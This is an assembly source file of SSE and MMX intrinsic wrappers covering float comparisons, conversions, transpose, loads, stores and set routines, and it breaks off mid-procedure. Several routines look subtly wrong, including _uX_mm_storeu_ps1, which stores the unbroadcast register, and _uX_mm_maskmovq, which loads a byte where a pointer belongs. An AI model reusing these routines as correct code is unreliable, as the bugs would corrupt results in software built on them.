procstart _uX_mm_cmple_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpps xmm0, xmm1, CMPP_LE
ret
procend
procstart _uX_mm_cmpgt_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpss xmm0, xmm1, CMPP_NLE
ret
procend
procstart _uX_mm_cmpgt_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpps xmm0, xmm1, CMPP_NLE
ret
procend
procstart _uX_mm_cmpge_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpss xmm0, xmm1, CMPP_NLT
ret
procend
procstart _uX_mm_cmpge_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpps xmm0, xmm1, CMPP_NLT
ret
procend
procstart _uX_mm_cmpneq_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpss xmm0, xmm1, CMPP_NEQ
ret
procend
procstart _uX_mm_cmpneq_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpps xmm0, xmm1, CMPP_NEQ
ret
procend
procstart _uX_mm_cmpnlt_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpss xmm0, xmm1, CMPP_NLT
ret
procend
procstart _uX_mm_cmpnlt_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpps xmm0, xmm1, CMPP_NLT
ret
procend
procstart _uX_mm_cmpnle_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpss xmm0, xmm1, CMPP_NLE
ret
procend
procstart _uX_mm_cmpnle_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpps xmm0, xmm1, CMPP_NLE
ret
procend
procstart _uX_mm_cmpngt_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpss xmm0, xmm1, CMPP_LE
ret
procend
procstart _uX_mm_cmpngt_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpps xmm0, xmm1, CMPP_LE
ret
procend
procstart _uX_mm_cmpnge_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpss xmm0, xmm1, CMPP_LT
ret
procend
procstart _uX_mm_cmpnge_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpps xmm0, xmm1, CMPP_LT
ret
procend
procstart _uX_mm_cmpord_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpss xmm0, xmm1, CMPP_ORD
ret
procend
procstart _uX_mm_cmpord_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpps xmm0, xmm1, CMPP_ORD
ret
procend
procstart _uX_mm_cmpunord_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpss xmm0, xmm1, CMPP_UNORD
ret
procend
procstart _uX_mm_cmpunord_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpps xmm0, xmm1, CMPP_UNORD
ret
procend
;******************
; FP, comparison return int
;******************
procstart _uX_mm_comieq_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
comiss xmm0, xmm1
cmove rret(), true
ret
procend
procstart _uX_mm_comilt_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
comiss xmm0, xmm1
cmovb rret(), true
ret
procend
procstart _uX_mm_comile_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
comiss xmm0, xmm1
cmovbe rret(), true
ret
procend
procstart _uX_mm_comigt_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
comiss xmm0, xmm1
cmova rret(), true
ret
procend
procstart _uX_mm_comige_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
comiss xmm0, xmm1
cmovae rret(), true
ret
procend
procstart _uX_mm_comineq_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
comiss xmm0, xmm1
cmovne rret(), true
ret
procend
procstart _uX_mm_cominlt_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
comiss xmm0, xmm1
cmovnb rret(), true
ret
procend
procstart _uX_mm_cominle_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
comiss xmm0, xmm1
cmovnbe rret(), true
ret
procend
procstart _uX_mm_comingt_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
comiss xmm0, xmm1
cmovna rret(), true
ret
procend
procstart _uX_mm_cominge_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
comiss xmm0, xmm1
cmovnae rret(), true
ret
procend
procstart _uX_mm_ucomieq_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
ucomiss xmm0, xmm1
cmove rret(), true
ret
procend
procstart _uX_mm_ucomilt_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
ucomiss xmm0, xmm1
cmovb rret(), true
ret
procend
procstart _uX_mm_ucomile_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
ucomiss xmm0, xmm1
cmovbe rret(), true
ret
procend
procstart _uX_mm_ucomigt_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
ucomiss xmm0, xmm1
cmova rret(), true
ret
procend
procstart _uX_mm_ucomige_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
ucomiss xmm0, xmm1
cmovae rret(), true
ret
procend
procstart _uX_mm_ucomineq_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
ucomiss xmm0, xmm1
cmovne rret(), true
ret
procend
procstart _uX_mm_ucominlt_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
ucomiss xmm0, xmm1
cmovnb rret(), true
ret
procend
procstart _uX_mm_ucominle_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
ucomiss xmm0, xmm1
cmovnbe rret(), true
ret
procend
procstart _uX_mm_ucomingt_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
ucomiss xmm0, xmm1
cmovna rret(), true
ret
procend
procstart _uX_mm_ucominge_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
ucomiss xmm0, xmm1
cmovnae rret(), true
ret
procend
;******************
; FP, conversions
;******************
procstart _uX_mm_cvt_ss2si, callconv, dword, < >, < >, Inxmm_A:xmmword
cvtss2si dret(), xmm0
ret
procend
procstart _uX_mm_cvtt_ss2si, callconv, dword, < >, < >, Inxmm_A:xmmword
cvttss2si dret(), xmm0
ret
procend
procstart _uX_mm_cvt_si2ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, InInt_B:dword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InInt_B
else
rpdisp textequ <dp1()>
endif
cvtsi2ss xmm0, rpdisp
ret
procend
procstart _uX_mm_cvtss_flt, callconv, real4, < >, < >, Inxmm_A:xmmword
movss xmm0, xmm0
ret
procend
procstart _uX_mm_cvt0s_flt, callconv, real4, < >, < >, Inxmm_A:xmmword
movss xmm0, xmm0
ret
procend
procstart _uX_mm_cvt1s_flt, callconv, real4, < >, < >, Inxmm_A:xmmword
shufps xmm0, xmm0, shuffler4(1,1,1,1)
ret
procend
procstart _uX_mm_cvt2s_flt, callconv, real4, < >, < >, Inxmm_A:xmmword
shufps xmm0, xmm0, shuffler4(2,2,2,2)
ret
procend
procstart _uX_mm_cvt3s_flt, callconv, real4, < >, < >, Inxmm_A:xmmword
shufps xmm0, xmm0, shuffler4(3,3,3,3)
ret
procend
procstart _uX_mm_cvtps_flt, callconv, real4, < >, < >, Inxmm_A:xmmword, InInt_BSel:count_t
push rbase()
ifdef __unix32__
rpdisp textequ <ecx>
bpdisp textequ <cl>
mov rpdisp, InInt_BSel
else
rpdisp textequ <rp1()>
bpdisp textequ <bp1()>
endif
.if((rpdisp < 0) || (rpdisp > 3))
jmp _m128cvteltflt_end
.endif
ifdef __x32__
movzx rbase(), bpdisp
jmp dword ptr [_m128cvteltfltjmptable+rbase()*size_t_size]
endif
ifdef __x64__
lea rbase(), qword ptr [_m128cvteltfltjmptable]
mov rbase(), qword ptr [rbase()+rp1()*size_t_size]
jmp rbase()
endif
_m128cvteltflt_0 label size_t
movss xmm0, xmm0
jmp _m128cvteltflt_end
_m128cvteltflt_1 label size_t
shufps xmm0, xmm0, shuffler4(1,1,1,1)
movss xmm0, xmm0
jmp _m128cvteltflt_end
_m128cvteltflt_2 label size_t
shufps xmm0, xmm0, shuffler4(2,2,2,2)
jmp _m128cvteltflt_end
_m128cvteltflt_3 label size_t
shufps xmm0, xmm0, shuffler4(3,3,3,3)
;jmp _m128cvteltflt_end
_m128cvteltflt_end:
pop rbase()
ret
procend
ifdef __x32__
alignmmfieldproc
procstart _uX_mm_cvt_ps2pi, callconv, mmword, < >, < >, Inxmm_A:xmmword
cvtps2pi mm0, xmm0
ret
procend
procstart _uX_mm_cvtt_ps2pi, callconv, mmword, < >, < >, Inxmm_A:xmmword
cvttps2pi mm0, xmm0
ret
procend
procstart _uX_mm_cvt_pi2ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inmm_B:mmword
cvtpi2ps xmm0, mm1
ret
procend
alignxmmfieldproc
endif ;__x32__
ifdef __X64__
;******************
; FP, conversions, 64-bit intrinsics
;******************
procstart _uX_mm_cvtss_si64, callconv, qword, < >, < >, Inxmm_A:xmmword
cvtss2si rret(), xmm0
ret
procend
procstart _uX_mm_cvttss_si64, callconv, qword, < >, < >, Inxmm_A:xmmword
cvttss2si rret(), xmm0
ret
procend
procstart _uX_mm_cvtsi64_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, InInt_B:qword
cvtsi2ss xmm0, rp1()
ret
procend
endif ;__X64__
;******************
; FP, misc
;******************
procstart _uX_mm_transpose4_ps, callconv, void, < >, < >, Inxmm_row0:ptr xmmword, Inxmm_row1:ptr xmmword, Inxmm_row2:ptr xmmword, Inxmm_row3:ptr xmmword
;ifdef __unix32__
; define rpdisprow0, ecx, text
; define rpdisprow1, edx, text
; define rpdisprow2, edi, text
; define rpdisprow0, esi, text
; push edi
; push esi
; mov rpdisprow0, Inxmm_row0
; mov rpdisprow1, Inxmm_row1
; mov rpdisprow2, Inxmm_row2
; mov rpdisprow3, Inxmm_row3
;else
; define rpdisprow0, rp0(), text
; define rpdisprow1, rp1(), text
; define rpdisprow2, rp2(), text
; define rpdisprow3, rp0(), text
;endif
movups xmm0, xmmword ptr [rp0()]
movups xmm1, xmmword ptr [rp1()]
movups xmm2, xmmword ptr [rp2()]
movups xmm3, xmmword ptr [rp3()]
movaps xmm4, xmm0
movaps xmm5, xmm2
shufps xmm0, xmm1, shuffler4(0,1,0,1) ; 044h
shufps xmm4, xmm1, shuffler4(2,3,2,3) ; 0eeh
shufps xmm2, xmm3, shuffler4(0,1,0,1) ; 044h
shufps xmm5, xmm3, shuffler4(2,3,2,3) ; 0eeh
movaps xmm1, xmm0
movaps xmm3, xmm4
shufps xmm0, xmm2, shuffler4(0,2,0,2) ; 088h
shufps xmm1, xmm2, shuffler4(1,3,1,3) ; 0ddh
shufps xmm4, xmm5, shuffler4(0,2,0,2) ; 088h
shufps xmm3, xmm5, shuffler4(1,3,1,3) ; 0ddh
movaps xmm2, xmm4
movups xmmword ptr [rp0()], xmm0
movups xmmword ptr [rp1()], xmm1
movups xmmword ptr [rp2()], xmm2
movups xmmword ptr [rp3()], xmm3
;ifdef __unix32__
; mov Inxmm_row3, rpdisprow3
; mov Inxmm_row2, rpdisprow2
; mov Inxmm_row1, rpdisprow1
; mov Inxmm_row0, rpdisprow0
; pop esi
; pop edi
;endif
ret
procend
procstart _uX_mm_unpackhi_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
unpckhps xmm0, xmm1
ret
procend
procstart _uX_mm_unpacklo_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
unpcklps xmm0, xmm1
ret
procend
procstart _uX_mm_movehl_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
movhlps xmm0, xmm1
ret
procend
procstart _uX_mm_movelh_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
movlhps xmm0, xmm1
ret
procend
procstart _uX_mm_loadh_pi, callconv, xmmword, < >, < >, Inxmm_A:xmmword, InPmm_B:ptr mmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPmm_B
else
rpdisp textequ <rp1()>
endif
movhps xmm0, mmword ptr [rpdisp]
ret
procend
procstart _uX_mm_loadl_pi, callconv, xmmword, < >, < >, Inxmm_A:xmmword, InPmm_B:ptr mmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPmm_B
else
rpdisp textequ <rp1()>
endif
movlps xmm0, mmword ptr [rpdisp]
ret
procend
procstart _uX_mm_storeh_pi, callconv, void, < >, < >, OutPmm_A:ptr mmword, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPmm_A
else
rpdisp textequ <rp0()>
endif
movhps mmword ptr [rpdisp], xmm1
ifdef __unix32__
mov OutPmm_A, rpdisp
endif
ret
procend
procstart _uX_mm_storel_pi, callconv, void, < >, < >, OutPmm_A:ptr mmword, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPmm_A
else
rpdisp textequ <rp0()>
endif
movlps mmword ptr [rpdisp], xmm1
ifdef __unix32__
mov OutPmm_A, rpdisp
endif
ret
procend
procstart _uX_mm_movemask_ps, callconv, dword, < >, < >, Inxmm_A:xmmword
movmskps dret(), xmm0
ret
procend
ifdef __x32__
;******************
; Integer (MMX) extensions
;******************
alignmmfieldproc
procstart _uX_mm_pextrw_0, callconv, dword, < >, < >, Inmm_A:mmword
pextrw rret(), mm0, 0
ret
procend
procstart _uX_mm_pextrw_1, callconv, dword, < >, < >, Inmm_A:mmword
pextrw rret(), mm0, 1
ret
procend
procstart _uX_mm_pextrw_2, callconv, dword, < >, < >, Inmm_A:mmword
pextrw rret(), mm0, 2
ret
procend
procstart _uX_mm_pextrw_3, callconv, dword, < >, < >, Inmm_A:mmword
pextrw rret(), mm0, 3
ret
procend
procstart _uX_mm_pextrw, callconv, dword, < >, < >, Inmm_A:mmword, _Imm8:count_t
push rbase()
ifdef __unix32__
rpdisp textequ <ecx>
bpdisp textequ <cl>
mov rpdisp, _Imm8
else
rpdisp textequ <rp1()>
bpdisp textequ <bp1()>
endif
.if((rpdisp < 0) || (rpdisp > 3))
jmp _m64pextrw_end
.endif
movzx rbase(), bpdisp
jmp dword ptr [_m64pextrwjmptable+rbase()*size_t_size]
_m64pextrw_0 label size_t
pextrw rret(), mm0, 0
jmp _m64pextrw_end
_m64pextrw_1 label size_t
pextrw rret(), mm0, 1
jmp _m64pextrw_end
_m64pextrw_2 label size_t
pextrw rret(), mm0, 2
jmp _m64pextrw_end
_m64pextrw_3 label size_t
pextrw rret(), mm0, 3
;jmp _m64pextrw_end
_m64pextrw_end:
pop rbase()
ret
procend
procstart _uX_mm_pinsrw_0, callconv, mmword, < >, < >, Inmm_A:mmword, InInt_B:dword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InInt_B
else
rpdisp textequ <rp1()>
endif
pinsrw mm0, rpdisp, 0
ret
procend
procstart _uX_mm_pinsrw_1, callconv, mmword, < >, < >, Inmm_A:mmword, InInt_B:dword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InInt_B
else
rpdisp textequ <rp1()>
endif
pinsrw mm0, rpdisp, 1
ret
procend
procstart _uX_mm_pinsrw_2, callconv, mmword, < >, < >, Inmm_A:mmword, InInt_B:dword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InInt_B
else
rpdisp textequ <rp1()>
endif
pinsrw mm0, rpdisp, 2
ret
procend
procstart _uX_mm_pinsrw_3, callconv, mmword, < >, < >, Inmm_A:mmword, InInt_B:dword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InInt_B
else
rpdisp textequ <rp1()>
endif
pinsrw mm0, rpdisp, 3
ret
procend
procstart _uX_mm_pinsrw, callconv, mmword, < >, < >, Inmm_A:mmword, InInt_B:dword, _Imm8:count_t
push rbase()
ifdef __unix32__
rpdisp textequ <ecx>
rpdisp1 textequ <edx>
bpdisp1 textequ <dl>
mov rpdisp, InInt_B
mov rpdisp1, _Imm8
else
rpdisp textequ <rp1()>
rpdisp1 textequ <rp2()>
bpdisp1 textequ <bp2()>
endif
.if((rpdisp1 < 0) || (rpdisp1 > 3))
jmp _m64pinsrw_end
.endif
movzx rbase(), bpdisp1
jmp dword ptr [_m64pinsrwjmptable+rbase()*size_t_size]
_m64pinsrw_0 label size_t
pinsrw mm0, rpdisp, 0
jmp _m64pinsrw_end
_m64pinsrw_1 label size_t
pinsrw mm0, rpdisp, 1
jmp _m64pinsrw_end
_m64pinsrw_2 label size_t
pinsrw mm0, rpdisp, 2
jmp _m64pinsrw_end
_m64pinsrw_3 label size_t
pinsrw mm0, rpdisp, 3
;jmp _m64pinsrw_end
_m64pinsrw_end:
pop rbase()
ret
procend
procstart _uX_mm_pmaxsw, callconv, mmword, < >, < >, Inmm_A:mmword, Inmm_B:mmword
pmaxsw mm0, mm1
ret
procend
procstart _uX_mm_pmaxub, callconv, mmword, < >, < >, Inmm_A:mmword, Inmm_B:mmword
pmaxub mm0, mm1
ret
procend
procstart _uX_mm_pminsw, callconv, mmword, < >, < >, Inmm_A:mmword, Inmm_B:mmword
pminsw mm0, mm1
ret
procend
procstart _uX_mm_pminub, callconv, mmword, < >, < >, Inmm_A:mmword, Inmm_B:mmword
pminub mm0, mm1
ret
procend
procstart _uX_mm_pmovmskb, callconv, dword, < >, < >, Inmm_A:mmword
pmovmskb rret(), mm0
ret
procend
procstart _uX_mm_pmulhuw, callconv, mmword, < >, < >, Inmm_A:mmword, Inmm_B:mmword
pmulhuw mm0, mm1
ret
procend
procstart _uX_mm_maskmovq, callconv, void, < >, < >, Inmm_A:mmword, Inmm_B:mmword, OutInt8_C:ptr byte
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutInt8_C
else
rpdisp textequ <rp2()>
endif
push rdidx()
mov rdidx(), byte ptr [rpdisp]
maskmovq mm0, mm1
pop rdidx()
ret
procend
procstart _uX_mm_pavgb, callconv, mmword, < >, < >, Inmm_A:mmword, Inmm_B:mmword
pavgb mm0, mm1
ret
procend
procstart _uX_mm_pavgw, callconv, mmword, < >, < >, Inmm_A:mmword, Inmm_B:mmword
pavgw mm0, mm1
ret
procend
procstart _uX_mm_psadbw, callconv, mmword, < >, < >, Inmm_A:mmword, Inmm_B:mmword
psadbw mm0, mm1
ret
procend
alignxmmfieldproc
endif ;__x32__
;******************
; FP, sets
;******************
procstart _uX_mm_set_ss, callconv, xmmword, < >, < >, Inreal4_A:real4
movss xmm0, xmm0
ret
procend
procstart _uX_mm_set_ps1, callconv, xmmword, < >, < >, Inreal4_A:real4
movss xmm0, xmm0
shufps xmm0, xmm0, 0
ret
procend
procstart _uX_mm_cvtflt_0s, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inreal4_B:real4
movss xmm0, xmm1
ret
procend
procstart _uX_mm_cvtflt_1s, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inreal4_B:real4
shufps xmm0, xmm0, shuffler4(0,0,2,3)
movss xmm0, xmm1
shufps xmm0, xmm0, shuffler4(1,0,2,3)
ret
procend
procstart _uX_mm_cvtflt_2s, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inreal4_B:real4
shufps xmm0, xmm0, shuffler4(0,1,0,3)
movss xmm0, xmm1
shufps xmm0, xmm0, shuffler4(2,1,0,3)
ret
procend
procstart _uX_mm_cvtflt_3s, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inreal4_B:real4
shufps xmm0, xmm0, shuffler4(0,1,2,0)
movss xmm0, xmm1
shufps xmm0, xmm0, shuffler4(3,1,2,0)
ret
procend
procstart _uX_mm_cvtflt_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inreal4_B:real4, InInt_BSel:count_t
push rbase()
ifdef __unix32__
rpdisp textequ <ecx>
bpdisp textequ <cl>
mov rpdisp, InInt_BSel
else
rpdisp textequ <rp2()>
bpdisp textequ <bp2()>
endif
.if((rpdisp < 0) || (rpdisp > 3))
jmp _m128seteltps_end
.endif
ifdef __x32__
movzx rbase(), bpdisp
jmp dword ptr [_m128seteltpsjmptable+rbase()*size_t_size]
else
lea rbase(), qword ptr [_m128seteltpsjmptable]
mov rbase(), qword ptr [rbase()+rp2()*size_t_size]
jmp rbase()
endif
_m128seteltps_0 label size_t
movss xmm0, xmm1
jmp _m128seteltps_end
_m128seteltps_1 label size_t
shufps xmm0, xmm0, shuffler4(0,0,2,3)
movss xmm0, xmm1
shufps xmm0, xmm0, shuffler4(1,0,2,3)
jmp _m128seteltps_end
_m128seteltps_2 label size_t
shufps xmm0, xmm0, shuffler4(0,1,0,3)
movss xmm0, xmm1
shufps xmm0, xmm0, shuffler4(2,1,0,3)
jmp _m128seteltps_end
_m128seteltps_3 label size_t
shufps xmm0, xmm0, shuffler4(0,1,2,0)
movss xmm0, xmm1
shufps xmm0, xmm0, shuffler4(3,1,2,0)
;jmp _m128seteltps_end
_m128seteltps_end:
pop rbase()
ret
procend
procstart _uX_mm_set_ps, callconv, xmmword, < >, < >, Inreal4_D:real4, Inreal4_C:real4, Inreal4_B:real4, Inreal4_A:real4
ifdef __unix32__
movss xmm3, Inreal4_A
endif
shufps xmm0, xmm0, shuffle4(0,0,0,0)
movss xmm0, xmm1
shufps xmm0, xmm0, shuffle4(3,0,0,0)
movss xmm0, xmm2
shufps xmm0, xmm0, shuffle4(3,2,0,0)
movss xmm0, xmm3
ret
procend
procstart _uX_mm_setr_ps, callconv, xmmword, < >, < >, Inreal4_A:real4, Inreal4_B:real4, Inreal4_C:real4, Inreal4_D:real4
shufps xmm0, xmm0, shuffler4(0,0,0,0)
movss xmm0, xmm1
shufps xmm0, xmm0, shuffler4(0,0,0,3)
movss xmm0, xmm2
shufps xmm0, xmm0, shuffler4(0,0,2,3)
movss xmm0, xmm3
shufps xmm0, xmm0, shuffler4(3,2,1,0)
ret
procend
procstart _uX_mm_setzero_ps, callconv, xmmword, < >, < >, < >
xorps xmm0, xmm0
ret
procend
procstart _uX_mm_iszero_ps, callconv, dword, < >, < >, Inxmm_A:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
else
rpdisp textequ <rp0()>
endif
xor rret(), rret()
movaps xmm1, __m128_0
cmpps xmm0, xmm1, CMPP_EQ
movmskps rpdisp, xmm0
cmp rpdisp, 0xf
cmove rret(), true
ret
procend
procstart _uX_mm_iszero_ss, callconv, dword, < >, < >, Inxmm_A:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
else
rpdisp textequ <rp0()>
endif
xor rret(), rret()
movaps xmm1, __m128_0e_0
cmpss xmm0, xmm1, CMPP_EQ
movmskps rpdisp, xmm0
cmp rpdisp, 0x1
cmove rret(), true
ret
procend
;******************
; FP, loads
;******************
procstart _uX_mm_load_ss, callconv, xmmword, < >, < >, InPreal4_A:ptr real4
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPreal4_A
else
rpdisp textequ <rp0()>
endif
movss xmm0, real4 ptr [rpdisp]
ret
procend
procstart _uX_mm_load_ps1, callconv, xmmword, < >, < >, InPreal4_A:ptr real4
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPreal4_A
else
rpdisp textequ <rp0()>
endif
movss xmm0, real4 ptr [rpdisp]
shufps xmm0, xmm0, 0
ret
procend
procstart _uX_mm_load_ps, callconv, xmmword, < >, < >, InPreal4_A:ptr xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPreal4_A
else
rpdisp textequ <rp0()>
endif
movaps xmm0, xmmword ptr [rpdisp]
ret
procend
procstart _uX_mm_loadr_ps, callconv, xmmword, < >, < >, InPreal4_A:ptr xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPreal4_A
else
rpdisp textequ <rp0()>
endif
movaps xmm0, xmmword ptr [rpdisp]
shufps xmm0, xmm0, shuffler4(3,2,1,0)
ret
procend
procstart _uX_mm_loadu_ps, callconv, xmmword, < >, < >, InPreal4_A:ptr xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPreal4_A
else
rpdisp textequ <rp0()>
endif
movups xmm0, xmmword ptr [rpdisp]
ret
procend
procstart _uX_mm_loadur_ps, callconv, xmmword, < >, < >, InPreal4_A:ptr xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPreal4_A
else
rpdisp textequ <rp0()>
endif
movups xmm0, xmmword ptr [rpdisp]
shufps xmm0, xmm0, shuffler4(3,2,1,0)
ret
procend
procstart _uX_mm_loadh_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, InPreal4_B:ptr mmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPreal4_B
else
rpdisp textequ <rp1()>
endif
movhps xmm0, mmword ptr [rpdisp]
ret
procend
procstart _uX_mm_loadl_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, InPreal4_B:ptr mmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPreal4_B
else
rpdisp textequ <rp1()>
endif
movlps xmm0, mmword ptr [rpdisp]
ret
procend
;******************
; FP, stores
;******************
procstart _uX_mm_store_ss, callconv, void, < >, < >, OutPreal4_A:ptr real4, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPreal4_A
else
rpdisp textequ <rp0()>
endif
movss real4 ptr [rpdisp], xmm1
ifdef __unix32__
mov OutPreal4_A, rpdisp
endif
ret
procend
procstart _uX_mm_store_ps1, callconv, void, < >, < >, OutPreal4_A:ptr real4, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPreal4_A
else
rpdisp textequ <rp0()>
endif
movaps xmm0, xmm1
shufps xmm0, xmm0, 0
movaps xmmword ptr [rpdisp], xmm0
ifdef __unix32__
mov OutPreal4_A, rpdisp
endif
ret
procend
procstart _uX_mm_storeu_ps1, callconv, void, < >, < >, OutPreal4_A:ptr real4, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPreal4_A
else
rpdisp textequ <rp0()>
endif
movaps xmm0, xmm1
shufps xmm0, xmm0, 0
movups xmmword ptr [rpdisp], xmm1
ifdef __unix32__
mov OutPreal4_A, rpdisp
endif
ret
procend
procstart _uX_mm_store_ps, callconv, void, < >, < >, OutPreal4_A:ptr xmmword, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPreal4_A
else
rpdisp textequ <rp0()>
endif
movaps xmmword ptr [rpdisp], xmm1
ifdef __unix32__
mov OutPreal4_A, rpdisp
endif
ret
procend
procstart _uX_mm_storeu_ps, callconv, void, < >, < >, OutPreal4_A:ptr xmmword, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPreal4_A
else
rpdisp textequ <rp0()>
endif
movups xmmword ptr [rpdisp], xmm1
ifdef __unix32__
mov OutPreal4_A, rpdisp
endif
ret
procend
procstart _uX_mm_storer_ps, callconv, void, < >, < >, OutPreal4_A:ptr xmmword, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPreal4_A
else
rpdisp textequ <rp0()>
endif
movaps xmm0, xmm1
shufps xmm0, xmm0, shuffler4(3,2,1,0)
movaps xmmword ptr [rpdisp], xmm0
ifdef __unix32__
mov OutPreal4_A, rpdisp
endif
ret
procend
procstart _uX_mm_storeur_ps, callconv, void, < >, < >, OutPreal4_A:ptr xmmword, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPreal4_A
else
rpdisp textequ <rp0()>
endif
movaps xmm0, xmm1
shufps xmm0, xmm0, shuffler4(3,2,1,0)
movups xmmword ptr [rpdisp], xmm0
ifdef __unix32__
mov OutPreal4_A, rpdisp
endif
ret
procend
procstart _uX_mm_storeh_ps, callconv, void, < >, < >, OutPreal4_A:ptr mmword, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPreal4_A
else
rpdisp textequ <rp0()>
endif
movhps mmword ptr [rpdisp], xmm1
ifdef __unix32__
mov OutPreal4_A, rpdisp
endif
ret
procend
procstart _uX_mm_storel_ps, callconv, void, < >, < >, OutPreal4_A:ptr mmword, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPreal4_A
